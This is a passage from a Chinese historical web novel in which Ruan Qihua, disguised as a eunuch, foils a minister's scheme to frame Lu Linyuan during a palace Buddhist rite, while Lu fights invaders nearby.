阮绮华瞳孔骤缩,她想到陆临渊同她提过的话,在礼佛定下来之前,钦天监监正与柳春明二人原本是想用的是活人祭祀。
不行,不可!
活人祭天本就是残忍邪说,在禁止杀生的佛门重地,
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堂而皇之地带上来镇着人的双重瓮。更是......
不能等,她在心中坚定道。她冷静观察了一番全场的局势,干瘦法师闭着眼,不慌不忙地一句一顿,景仁帝背对着她,庄严祈福。
底下众人依旧沉浸在庄严肃穆的气氛之中。那些面具人隐在黑暗处,行进方向径直指向祭台之下,大概是想趁着这时候,将祭坛悄悄放下,然后在祈福结束后,百官相继上前磕头礼佛时,将东西猛然暴露在百官面前。
为君不仁,乃是天子最易忌讳的地方。滥杀无辜之下,朝臣与百姓的愤怒会盖过一切。
阮绮华的脑中飞速思考,不行,她必须将阻止这一切发生。
“求佛祖,佑苍生万民,不受洪涝侵扰。
求佛祖,佑大雍子民,......”
祈福祝词,一般由几个段落组成。每一处段落之间,都会空出停顿。
为首的面具人抬起右手,手掌并拢掌心朝外,示意身后众人在景仁帝与法师的双双静默中停下。
距离祭台已不过数米,他必须谨慎地控制队伍行进的音量。
训练有素的众人将他的指令执行得很好。他扭过头查看,满意于众人都整齐的停顿在原地。
很好,连带着风声都静默住了。
面具下的脸,勾起一丝笑来。
就当他再度扭头时......不对!身旁大树上的红绸为何突然轻微地晃动了一下?
是他的错觉吗?
他的视线搜寻着可能出现问题的方向......但已经晚了。尖细的坚硬的袖箭已经准确地贯穿了他的右膝。
剧痛从膝盖蔓延上来,他死死将痛呼咽了下去,却没能挡住支撑腿失力后本能地一跪。
是谁?沉闷的动静在过分安静中显得突兀。闭目的法师睁开了一直合上的双眼。
然后景仁帝随之转身。他喝道:“何人造次?!”
外圈围着的守卫迅速靠近,文武百官齐齐抬头。
领头的面具男人被守卫用长枪逼停,连带着身后的小弟一同被困在守卫中央。
“鬼鬼祟祟意欲何为!肩上抬的是何物?何人派你们来的?如实招来!”
景仁帝不悦地质问道。但质问是朝着面具一行人的,他的视线却稳稳地停在了钦天监监正脸上。
这个距离,明眼人都看得出来,这些双重瓮上,满满地都是符文。除了钦天监,还能有谁有这个本事在此装神弄鬼?!
有眼尖的朝臣同样注意到了这一点,在下方开始窃窃私语。
这些双重瓮遍布符文,一看便是凶物,钦天监为何放在这大吉的祈福之日?
有胆子大的,诸如赵尚书一般的官员,质疑之声已经让全场听了个清楚。讨论声愈演愈烈,异样的眼光投来,钦天监的脸上青白交错。
他咬着牙,一面开口要为自己辩解,一年将手背到了身后。
他要干什么?
阮绮华怎么会放过他一丝一毫的动作,她蹙起眉头……
不好!
领队对身后的人一样打了那个手势,他们要将双重瓮在众人面前摔碎!
63. 无法战胜的男人
卯时三刻,本该迎接破晓。
作响的雷声没有将骤雨激荡下来,只有细小的雨丝洋洋洒洒,缠上众人的衣袍。
全场的目光汇聚在这群不速之客身上,有反应迅速的大臣已经意识到了这之中的阴谋味道。
钦天监就在前方,对于突然出现的黑衣人,他不但没有一丝惊讶,反而对守卫上前包围表现出了超乎寻常的紧张。他整个人面朝着黑衣人的方向,背影来看,他整个人在隐隐颤抖,这在一众惊讶的众人中尤为明显。
挤到前排的赵尚书与阮巡抚将一切收入眼底,自然没有放过监正的小动作。
他要做什么?
二人对视一眼,彼此都有些疑惑。顺着目光看过去,阮富明猛然发现那领头的黑衣人膝盖上插着一物,乌金箭身,短小尖锐,在蒙蒙细雨中并不起眼,但对它亲自把玩、认证过的阮富明再了解不过。
!
那是陆大人给华儿的袖箭!
阮富明掩下心中的激动,目光快速扫向祭台之上。
他就说冯公公怎会在这样重要的场合派个腿软的小太监来,定是自家女儿的把戏。
相较于身体躯干部位,膝盖处的软骨显然难以击中,华儿用袖箭攻击领头人引出响动,却选择了这一处,难道是为了不影响队伍后面的......
阮氏父女的默契在此刻发挥得淋漓尽致,无需言语,阮富明盯准了黑衣人手中的双重瓮,果然!
发丝被盖上一层蒙蒙的水雾,阮绮华听到自己如同擂鼓的脉搏之声。
说点什么才能救下现在的场面,她应该打断那人的行动,可她若是出声,必定会被人发现自己的伪装。柳春明还尚未出现,她还是应当守在景仁帝身旁......
漆黑的双重瓮被隐秘地抬起,她狠下心。
“拦住他们!别让他们摔这罐子!”
声音从在场的官员之首传来,仔细一看,那文官品阶并不算顶顶高,不知是怎么给他挤到前排的。
此刻他一面出声,一面冲上了前面的包围圈里,一众护卫拿着长枪,一时间动也不是不动也不是,竟僵在了原地。幸好有阮富明怕护卫反应不及,自己亲自去拦住了黑衣人的动作。“愣着干什么,上啊!”
“拦住他们,快!他们要将那东西砸了!”
隔着雨雾,景仁帝一眼认出那是阮富明。急急施令命一众护卫将人按住。
雷霆动作下,黑衣人被宫中精锐死死按在了地上。
阮绮华长吁一口气,她给阮富明递过去一个“不愧是我爹”的眼神。
接收到眼神的阮富明按住上扬的嘴角,在原地站定,然后对黑着脸的钦天监监正大声喝道:“监正大人,老夫方才亲眼见到,你对那为首的黑衣人比划了什么。莫非......这些黑衣人就是你派来的?!”
“休要血口喷人!我钦天监历来只为皇室办事,为大雍祈福求安。派人来搅局,我图什么?图财?图权?连皇上都对钦天监礼待有加,我为何想不开要干这样的勾当!这些不知何处冒出来的黑衣人带着阴私之物闯入祈福之地,我看,是御林军看管不力!”监正一字一顿,目光倨傲。
“监正大人,整个礼佛的流程由你一手掌控,你方才说这句,‘是御林军看管不力’怕是忘了,今日连围在场边的护卫,也有一半是你钦天监的人吧。”
“再者......”阮富明停顿一下,意味深长地接着道“你当然有理由干这种事。”阮富明笑道:“钦天监确实只为皇室办事不错,如若你对现有皇室不满,那么你背后站着的人,不就会成为新的皇室吗?”
监正的脸色剧变。
“阮富明!你怎么能,你怎么敢!一介小小巡抚,岂敢在此血口喷人!说我钦天监监守自盗,故意扰乱大典?阮大人,没有证据的话我劝你还是莫要胡说,否则,否则......”
“否则什么?”阮富明问道。“监正大人,您说的对,我阮富明不过是一介商户出身,尚且从官不久,官职也不高,许多事情未曾明白,但有一点我清楚。皇室永远是我大雍的主心骨,与皇上相关之事都是一等大事,我相信,在场所有同僚也是同样的想法。礼佛之地混入不祥之物,关乎万民的福祉,若真是阮某误会了大人,阮某甘愿由监正大人处置。”
“不过现在,还是先看看,证人如何交代吧!”
“皇上,微臣请求当场审问这些被捉拿的黑衣人。”
“准了。”
不详的罐子,疑似监守自盗意图谋逆的官员。闹到这个地步,这流程已然进行不下去了。
景仁帝挥手,示意冯保将那独自站着的法师和寺庙一众僧人清退。他自己则带着阮绮华下了祭台,亲自站到了阮富明身侧。
“说!你们是何人派来的?”
那为首的黑衣人被反剪双手压在地上,此刻,他正被人强行抬起下巴,为防止他服毒自尽,他的嘴被捏成合不拢的状态。
“劝你老老实实交代了,不然一会儿有的是苦头给你吃!”
按着那黑衣人的护卫显然是折磨人的行家里手,不过是半柱香的功夫,他竟有办法当着所有人的面不声不响地将黑衣人折腾的连连求饶。
“我说,我说!是......指使我来的。”
“谁?你大声点!”
“啊啊啊啊啊——”
“就是!”“皇上。”
一道平静的声音打断了黑衣人即将说出口的话。
一只溅满鲜血的手出现在众人面前,“皇上,臣来迟了。不过,来时正好撞见钦天监监正与御林军相斗,臣察觉不对,已将其就地诛杀。”
柳春明侧过身,露出来他后方横尸在地上的钦天监监正。这位方才还神情倨傲,据理力争的官员此时双目圆睁,手上还握着已经出窍的短匕,已经断气。
“臣本不想如此,无奈监正已经杀红了眼。连一连捅伤两名御林军后对称拔刀相向,臣好心劝告他,但监正充耳不闻,反而将刀刃对准微尘。为了防止他造成更大的祸端,臣只好做出此举。”柳春明将左手五指伸开,向众人展示他方才与监正搏斗,徒手接住刀刃留下的深深伤痕。
“他果真如此?”景仁帝疑道。
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“回皇上。臣亲眼所见,在场一众御林军也可为臣作证。并且,臣之所以来迟,就是因为发现了监政大人与寒山寺法师勾结装神弄鬼,意图谋害皇上的证据。”
“哦?证据何在!”
“皇上,除了在监正大人府上搜查到的信件,您身后的祭台,便是在场证据之一。”柳春明用他谨慎的完好的右手指向方才的祭台。
“皇上,您请看。”柳春明手腕内扣,快速向外旋转发力,短匕“砰”地一声,直插祭台。
“轰隆——”匕首插入木柱一寸,蛇形的裂纹从插入处寸寸蔓延,整个木头架子从随风轻晃到肉眼可见地倾斜晃动,然后高高的祭台轰然倒塌,电闪雷鸣齐发,巨大的声音震撼了在场所有人,暴雨顷刻落下。
“皇上!”“皇上!”
“天爷啊......”
若是方才监正的那一把匕首不是插在了柳春明的手中,而是像这样插在祭台上,那么可想而知,景仁帝将随着这木架坠落,一齐被深深钉在地上。
“皇上!先回庙里避避雨吧。”冯保举着伞走到景仁帝身边。
“......走。”景仁帝转开视线,“把这些黑衣人一同押到庙里去......?!”
“皇上!这,这......”护卫不知所措地指着黑衣人道,“是属下失职,方才动静太大,这些黑衣人竟......”
方才被压的死死的一帮黑衣人不知如何逃过了看守的眼睛,这一眨眼的功夫,已经全都口吐白沫躺在了地上。
“这什么这,宣太医来救!不能让他们死了!”景仁帝躲在黑衣首领身前,两指并拢塞入他口中,试图按压使其吐出毒药。
没救了。毒素已经深入骨血,不必再叫太医了。
跟在一旁的阮绮华上前,只消一眼便知道这人已经没得救,她默默退开半步,将视线转而移到柳春明身上。
对方显然也对这一点再清楚不过。站在景仁帝的背后,柳春明无声勾出一个笑来。
他低声对身旁小侍吩咐道:“先带众位大人回庙里躲雨。”然后又对景仁帝道:“皇上,恕臣直言,这几个黑衣人,怕是回天乏术了。您的龙体要紧。雨势太大,我们还是先回寺庙中从长计议吧。”
对于柳春明的提议,景仁帝置若罔闻。为了按压得更深入,这位年轻的帝王已经双膝跪地。他的双手上沾满了污秽,华贵的礼服也被暴雨淋得狼狈,但他不在乎。他不死心地尝试了一次又一次,但很明显——柳春明说的是对的,就连他一个不通医术的人,都能看出来黑衣人的瞳仁已经扩散。
所以,黑衣人已死,钦天监监正也被他就地诛杀,好好的线索就这么断了。就连满朝文武都已经在他的授意下被支开。
他们准备的证据,是否真的有用?
柳春明......还有可能被扳倒吗?
景仁帝说不出话来,他不应声,只颓然地坐在地上,半晌,他缓慢地直起身来,像被抽了魂魄一般,低着头跟在柳春明身后。
他没有给任何人任何眼神,不论是柳春明,还是阮绮华。
64. 一手遮天
青山被大雨笼罩,这座位于山顶的寒山寺已经许久不曾引来这样多的信众。
“大人,都安排好了。”
顺着目光看过去,按照他的吩咐,几尊沉重的双重瓮已经被一字排开堵住了大殿入口。他满意地颔首。“行了,下去吧。”
转过头,他笑着对景仁帝道:“皇上,此物不详,普天之下,想必也只有您真龙天子的龙气能镇住。您现在可以上座了。”
景仁帝没动作,此时,几个太医匆匆走过来,扑通一声便跪在了他面前,歉疚道:“皇上,微臣无能......微臣赶到时,那外头的黑衣人所中毒素已经侵入五脏六腑。实在是,回天乏力啊。”
“......”景仁帝摆摆手,没有开口,似乎很是疲倦。
柳春明对此没有丝毫意外,他脸上的笑容不变,关切地指着佛像前方的龙椅,对冯保道:“皇上向来宽仁,想必是因见到方才的场景受了惊,因此不愿开口说话。既然如此,便由冯公公你将皇上扶上座,而本官亲自坐在一旁看护吧。”
“方丈,有劳再取把椅子来。”
方丈迟疑半晌,问询的目光在全场逡巡一圈,对柳春明这显然不合规矩的要求,文武百官竟无一人开口反驳。
“方丈,你可是觉得有不妥?”柳春明语气平缓。
“......回大人,没有。”方丈几不可闻地叹口气,到底是命手下的小沙弥去抬把太师椅来。
“慢着。”小沙弥刚刚应下,柳春明又开了口,“本官是为了守护皇上的安危才要的椅子,万一这椅子与你庙里的祭台一般......我看,还是方丈亲自去给本官挑一把坐椅,才更稳妥。”
大殿中的空气凝固在这一刻,连一向挂着笑的人精赵尚书都忍不住挂了脸子,还是一旁的阮春明拉了他一把,让他收敛些。
满朝文武鸦雀无声,只有门外的雨声噼里啪啦砸在人心上。众人的脸色均是难看,此刻,他们心中升起一个相同的念头:皇上坐的地方,他柳春明能坐;皇上能指使的人,他柳春明也能指使。那柳春明这是......
“去吧。”景仁帝终于开口说出了他进屋之后的第一句话。
却是纵容柳春明凌驾于皇室威严之上。
满座哗然,有人没忍住倒吸一口气。
这,景仁帝这是明知柳春明有不臣之心,仍旧视而不见。
如同水滴进入沸腾的油锅,终于有人忍不住,伸手拦住了左右为难的方丈。
是个已近中年的正四品侍郎官,此刻,他对景仁帝高声道。“皇上,依臣愚见,这样是否有欠妥当?自古以来,能够与天子同起同坐的,多为扶持幼帝的摄政王和垂帘听政的太后娘娘。太后仙逝已久,即便是陆大人当摄政王辅佐朝政的那几年,也不曾有过半分不敬皇权之举。皇上,今日柳大人若是与您同坐,那这是视皇权为何物?!”
侍郎官昂首而立,一身官袍无风自动,一番话说得激昂有力,但在场众人对此的反应却并不一致。
以阮春明,赵尚书为一派的官员对其表示支持,当即跪倒一片,恳切呼喊:“皇上!您三思啊!”“皇上,此举不妥,您万万三思啊!”
但他们终究是少数。更多的官员眼神躲闪,站着不动。仿佛无事发生。
对此,柳春明只平淡扫一眼众人,出乎意料地,他没有反驳众人的话,也并没有开口对景仁帝做出指使,这位位高权重的两朝元老只是负手而立,从喉咙深处发出一声不大不小的冷哼。
阮绮华的手贴在身边,紧握成拳,她一错不错地盯着景仁帝的反应。
阿爹的声音在她耳边,再熟悉不过。景仁帝这到底是怎么回事?她知他方才受了打击,但眼下柳春明已经爬到了头上,他为何还在纵容。
还是说.....他彻底颓丧了。
阮绮华紧张地注视着景仁帝的动作,再坚持一下!她在心中默默祈祷,陆大人还没回来,他定是在同胡人决斗,胡人大军是柳春明最强势的依仗,只要拿捏住此命脉,那他们完全可以......
“去给柳大人拿椅凳。”景仁帝小声道。众人,包括阮绮华在内,甚至怀疑自己的耳朵。
“没听清楚朕的旨意么?方丈,你,亲自去给柳尚书抬椅子!一个不够便两个人去,冯保,你也给朕去帮忙!现在就去!”
“是,是是。”拦着方丈的手不可置信地落了下来,那侍郎官的脸肉眼可见地攀上了不可置信。
即便景仁帝已经清楚直白地表明了他的意思,但侍郎官还是不死心地想开口“皇上您”
“闭嘴,你是想要忤逆朕的旨意吗?来人!给我把他拖下去!”
侍郎官不可置信地瞪大双眼,他不理解一向宽仁明理的天子为何突然暴起,也不理解为何自己说得分明是实话,但却没有被在意丝毫。怔楞之间,他忘了反抗,几乎是几息之间,便被两侧冲上来的护卫麻利地将他按了下去。
侍郎就这样当着百官的面被拖下去,大殿安静许多。景仁帝环视一周,蹙眉道:“还有谁有异议?”
皇上疯了。
众人想。他们互相对视一眼,方才还真情实感下跪劝诫的官员已经识相地站了起来。
方丈同冯保从后门抬进来太师椅。
紫檀木雕花的太师椅被放在正中,那是原本放置龙椅的位置。然而此刻,金色的龙椅屈居一侧。外头无光,龙椅的金色被硬生生压得暗淡,一切都隐隐要被浓如墨色的紫檀木吞噬。
阮绮华低下头,她默默移步到龙椅背后的阴影之中。
坐上正中之位的柳春明笑得有几分真心实意。“皇上,外头风雨大,正对着大门的位置还是由臣替您坐着,您也好当心莫要受凉。”
这话是在放屁。阮绮华在心中不雅地啐了一句。挪到侧边的景仁帝分明才正对大门。
但景仁帝不说话,不知是被嘈杂的雨声削弱了听觉,还是真的不介意。
这个位置,正对着景仁帝的不只是门外的风雨,还有一字排齐,黑压压的双重瓮。
柳春明顺着景仁帝的目光看过去,同样看到了那些双重瓮。他似乎是想到什么有趣的事来,轻轻笑道:“方才皇上动作太快,臣反应不及。没来得及同您说,其实侍郎官说的话,也不无道理。”
“大人不必介怀,侍郎已经被朕押下,天牢的青砖会让他清醒的。”景仁帝漠然道。
“不,皇上误会了,臣不是在反讽。”柳春明指了指门口的双重瓮,“臣只是觉得,侍郎方才对于摄政王陆大人的
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评价,颇有几分道理。”
“......”景仁帝抿了抿唇,他偏过头,脸上浮现不耐烦的神色,他对柳春明道:“柳大人口误,陆临渊如今只是大雍的一把刀罢了。早已没有摄政王的名头。”
“但陆大人自己似乎不这么想呢。”柳春明从怀中掏出一叠信纸来。
阮绮华的心中猛然一跳,这是何意?监正之事难不成与陆大人有关?
为暴露在柳春明面前,她站的不够近,无法直接看到信件上来往之人的姓名。
不合理,这不合理。
她并不怀疑陆临渊,但不知为何,她突然没有来由地感到一阵心慌。
“方才行事匆忙,没来得及将钦天监监正的事情同您细细解释。”他顿了顿,仿佛要确保全场的目光均已集中到他身上。
直到感知到自己成为整个大殿的中心,他才轻叹口气,接着说道:“这是臣方才在钦天监监□□上搜到的信件,里面有他与陆大人共商礼佛的往来始末,信件中还有陆大人对礼佛中何时何地,如何加入活人瓮的详细计划。”
“柳大人,你所言可是真的?若是朕没记错,礼佛与祭天,皆是你同钦天监一同进宫求来的。所谓活人祭,也是钦天监监正主动要求,陆大人凑巧进宫,还将活人祭拦了下来。若是这个主意源自于他,他又何必来这一遭?”景仁帝深深蹙眉,脸上是全然的不信任。
在场众人不懂个中原委,更没有听过活人祭的说法,此刻看到门口的双重瓮,想到这之中的装着的东西,皆露出难以言喻的惊惧表情。
“皇上有所不知。臣此前与钦天监毫无私交,那日进宫之前,是监正突兀地找到臣府上,给臣细细阐述了星宿异动,百姓有难,臣联想到阮大人上朝时提到的淮水水位异常与小女生日宴上出现的刺客,一时担忧万分。这才深夜入宫,同皇上禀报此事。”
“皇上,柳大人说得不错,阮巡抚近日确实上报过淮水水位的异常波动。”人群中有声音传来,阮富明也应声点头,此事属实,也确实是他说的。
“但直到昨夜,我才从金吾卫成员口中得知,陆大人早已同钦天监狼狈为奸,所谓的礼佛祭天,便是由他们两人伙同准备的一场大戏。摇摇欲坠的祭台和偷偷放进来的双重瓮,都是他们早已定下的计划,为的就是当着文武百官的面,让皇上失德,让众朝臣丧失对皇上的拥护,甚至将消息进一步在百姓中散布!”
“皇上,若非张渡于心不忍,在礼佛前夜主动向臣禀告,今日的大典恐怕......”柳春明朝后扬手,示意张渡上前。
张渡,是谁?
阮绮华在脑中搜寻数遍,但仍然想不起这个名字。他是金吾卫吗?金吾卫有人反水这事,陆大人知道吗?
“皇上,搜出来的信件中写得清楚明白,张渡也在此,可为之作证。再有,若是皇上您信不过素未谋面的张渡,我这里,还有一份季大人的证词。不过他的证词,我就不替他转述了,季大人,你自己来说吧。”
满堂哗然,众官员如何也想不到这一切的幕后黑手会是一身清贵,无欲无求的陆大人。
只有阮绮华死死盯着从阴影处被推出来的男人,双拳握紧——
季赫楚无声地朝她的方向露出了一个微笑。
65. 小女永远是赢家
轮椅上的男人被缓缓推进。
雨水伴着它行进的轨迹,在地上拖出两条长痕。从黑暗处一直到众人眼前。
曾经温文尔雅、俊美清贵的季赫楚,如今衣袍尽湿,手上紧握的玉骨折扇滴滴答答往下淌着水。泥水和雨水混合在一起,他就像是自己从山下一步步挪上来的。
在阮绮华眼中,他仿佛从地狱爬上来的复仇恶鬼。
此刻他不说话,只是安静地笑着,便引起众人的一片惊叹。
"季大人怎么变成这样了?"
阮绮华这才看清他的眼睛——已经变成了灰白色。
他方才并不只是冲着她笑的,而是冲着大厅里的所有人。
"那边那个,没看见季大人行动不方便吗?还不快将他推过来。"
柳春明随手一指,指的却是阮绮华的方向。
众人的目光顺势看过来,她赶忙低下头,用帽檐遮住脸,低声应道:"是。"
然后快步走过去,双手握上轮椅扶手的那一刻,她不可抑制地颤抖起来。
"怎么?你很害怕本官吗?"身前的人察觉到她的颤抖,轻笑道。
阮绮华低头不肯回话,喉咙里含糊地应了两声。
"原来是个小哑巴。"季赫楚淡淡道,"本官是个瞎子,你是个哑巴,真巧,你我都是废人。"
"爱卿竟伤得如此之重......"景仁帝眉头紧锁。
自那日青雀舫一别,这还是他第一次见到季赫楚伤后的模样。
"多谢皇上挂念,微臣如今已经好了许多。"季赫楚微微颔首,"臣这般样貌难登大雅之堂,唯恐污了众人的眼。今日前来,也是为了朝廷生死存亡。"
"季爱卿,说吧,把那日在青雀舫上你看到的事情,全都说出来。"柳春明示意全场安静。
众人的眼中多少带着迷茫,唯有赵尚书显得焦躁不安。季赫楚遥遥向景仁帝行了一礼。
"爱卿请讲。"景仁帝道。
"那日在青雀舫上,臣先是送阮家小姐去甲板吹风,这一点,一二舱的众人都看在眼里。"季赫楚缓缓道,"走到中途,阮家小姐便说想自己走走,臣便独自在甲板上等待。恰巧遇到陆大人从头等舱出来,他见到臣,不由分说便将臣伤成了这样。"
"你是说,就因为陆大人对你不满,所以他将你伤得双腿尽断、双目失明?"景仁帝皱眉,"朕虽与陆爱卿不甚亲近,但依朕对他为人的了解,他不应有此动机。你们之间可有其他矛盾?"
"回皇上,微臣自认不曾得罪过陆大人。"季赫楚低声道,"当时臣毫无防备,陆大人只说臣挡了他的路。"
"挡了他的路?从何说起?"景仁帝追问。
"微臣不知。"
"皇上,季大人说的应该是指这个。"柳春明从信封中抽出一封信,双手呈上,"皇上请看。"
只见信纸上分明写着:"监政大人亲启。"
阮绮华努力凑过去看,奈何她站在季赫楚身后,视线受阻。但她仍能认出,那端方大气的字迹,的确是陆临渊的。而看完信上内容的景仁帝,已经面沉如水。
屋外大雨倾盆,屋内的香烛摇曳,季赫楚似乎被轰隆的雷鸣惊到,竟兀自发起抖来。
"皇上,臣......臣不是故意失态,实在是今日的雷声,让臣想起在青雀舫遇害那日......"
"皇上,季大人是您亲手提拔的栋梁之才,如今却成了废人......"柳春明叹息道。
"诸位同僚,皇上方才看过的信件里,明明白白写出了陆临渊与钦天监的密谋过程。诸位且看门口的双重瓮——这里面装的是金吾卫在陆临渊授意下捉来的无辜百姓,上面遍布钦天监监正亲手写下的镇压符!陆临渊结党营私,玩弄邪术,危害皇室,其心可诛!"
"臣恳请皇上——"柳春明从椅子上起身,对景仁帝行叩拜大礼。
不妙!
阮绮华心头一跳。前方,文官武将已三三两两地跟着跪了下去。
"臣恳请——"众朝臣齐声道。
"臣恳请皇上,将反贼陆临渊捉拿,押入诏狱!"
阮绮华不自觉地颤抖起来。
恳切的、坚定的声音冲上穹顶,大雨将这里与外界隔绝。在陆临渊为家国拼死冲杀之时,这座大殿里,正在进行一场针对他一个人的围剿。
不远处的山林中。
"小心!"
陆临渊对着赵九吼道。
瞬息万变的战场上,赵九杀得正起劲,哪能顾得上周遭砍过来的暗刀。
待他回过头,眼中映入的便是——雨水从树叶缝隙中打下,形成雨幕,即将刺入身体的大刀被人以肉身挡下。
"大人!"
陆临渊左手持剑深深扎入刺客的身体,但自己也因护着赵九,手臂落下一道深可见骨的伤痕。
雨水冲刷着血水往下,但伤口的血像是冲刷不尽似的,一股一股地往外冒。更不用说他身上大大小小的伤口流出的血,已经在脚下汇成了一个小小的血洼。
陆大人总是这样。
分明长得像个白面书生,瘦削得仿佛走两步就要累趴,却总是挡在他们每一个人的前面。
赵九红着眼,手下大刀翻飞,一个起落将面前胡人的脑袋砍落在地。"狗日的胡人,来啊!跟你爷爷我来啊!"
胡人只见这个身形如铁塔的中原壮汉,憋着一口气高声骂娘,一连串的中原脏话从他嘴中冒出,一边骂人一边杀得愈发凶残。
再看一旁的其他中原人,仿佛是受了什么刺激,也是一股脑地往上扑。
这些人不是些普通百姓吗?
那胡人百思不得其解。在他们的认知中,这群中原小个子有的拿着斧头,有的拿着猎户的弓箭,甚至有的拿着家中的菜刀,打起仗来毫无章法,应当如何也拼不过他们的。
但事实是,那个瘦高个将他们指挥得很是灵活,他们只能靠自己的身形优势勉强应付,甚至......现在竟然隐隐压过了自己?!
这场殊死搏斗在两方之间进入高潮。
大殿之内,针对陆临渊一人的审判也被众人的呼声推向顶峰。
凭什么?
阮绮华的双手紧握成拳,呼吸不自觉地加重起来。
这些人中有多少是受到陆临渊的保护的?陆大人顶着病体劳心于案牍,大理寺东暖阁直至深夜还不能熄灭的烛火。他领着大理寺一众维护百姓的安定。
而他们就是这样对他的?
"捉拿奸臣陆临渊!"
他的视线扫过这些义愤填膺的朝臣,将每一张道貌岸然的脸都深深刻在心中。他不知陆大人是否清楚自己拼死守护的家国薄凉的模样,也不知他在知道这些之后是否也会有失望。
方才站出来的武将已经被拖下去,更多的文臣站在了柳春明的身后。他
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们惋惜着季赫楚这样的人才被陆大人毁掉是朝廷的不幸,他们指责陆临渊为一己私欲背叛朝廷,结党营私意图谋逆。
阮绮华不知道陆大人那样隐忍的人会作何选择。他只感觉到一股从心中向外燃烧的火焰将他整个人紧紧包裹。那是滔天的愤怒,愤怒从脚底腾然升起,蔓延到头顶。
他蹭的一下站了出来。
地位的悬殊让他在这群京城要员面前仿佛一只蝼蚁,没有人会注意他这样一个小小的太监在做什么。即便他昂首挺胸地从中间的空地穿过,走到门口的双重瓮前。
除了在场的两个人——
她的阿爹,和柳春明。
"你在做什么!"两道声音从不同的方向传了过来,均带着怒气和急切。
"冯保,你是如何办的事?还不快将你手底下的小太监拉走!"柳春明的声线紧绷,如临大敌。
"大人,我......嘶......"冯保脚下没动,支支吾吾看向景仁帝,而对方连一个眼神都未曾分给他。
柳春明没有意识到冯保的异常,他满心扑在那一堆双重瓮上。
绝不能被打碎。绝不能!
"你难道不知道这个里面装的是什么吗?你若将它打碎,所有人都会受到灾厄的牵连!来人,将他给我拖下去!"
"是吗?"阮绮华不甚在意地用袖剑敲了敲双重瓮的外壁。
很好,现在全场的目光都集中在她身上了。
阮绮华勾起嘴角。"好了,柳大人。别再为难冯公公了。"
不加掩饰的女声就这样放出来。柳春明瞳孔骤缩,他好像意识到了什么。
"你......你是"
"柳大人似乎对我的身份很感兴趣。你猜的没错,我便是在青雀舫上陆大人伤季赫楚的真正原因。"阮绮华轻快地抬起手腕,对准双重瓮。
"现在,就让我们来看一看,这个双重瓮里装的到底是什么东西。"
"等等!"急切的声音从场上传过来,但已经拦不住了。
"啪!"
被隐藏在帽檐下的面容暴露于天光。三连发的箭矢尖端击中双重瓮发出清脆的响声,蛛网从接触点向外蔓延,然后被符箓镇压的瓮体啪的一声炸开——
方才还叫嚣着的朝臣如同被定身一般站在原地,面上全然是不知所措。
那足有半人高的双重瓮就这样片片碎裂,瓷片崩得到处都是。里面的东西眼见着就要暴露于众人的眼前。
一道身影纵身一扑。他急切地想要拦住这面临曝光的灾厄。阮绮华抬手将袖箭瞄准柳春明。
但有人在她之前拦住了柳春明的脚步。
那人在柳春明纵身的一瞬间紧紧拽住了他的腿,然后像是拖一条死狗一般,将柳春明按在了原地。
"柳大人想对小女做什么?"阮富明笑道。
柳春明愤怒地回望,只见商贾出身,一向低调的新晋江南巡抚阮大人笑得志得意满——
不论你想对她做什么,我的女儿,永远会是赢家。
你看,她这不就赌赢了?
阮绮华弯着眼,指向地面散落的东西,示意众人看过来:“柳大人,这就是你所谓的,活人祭的灾厄?”
她拿出怀中的一叠信纸来,随意道:“恰巧我在柳大人府上也找到了些东西,同样是人证物证皆在,那不妨让我们一条一条看看,到底是谁,在结党营私,扰乱朝廷。”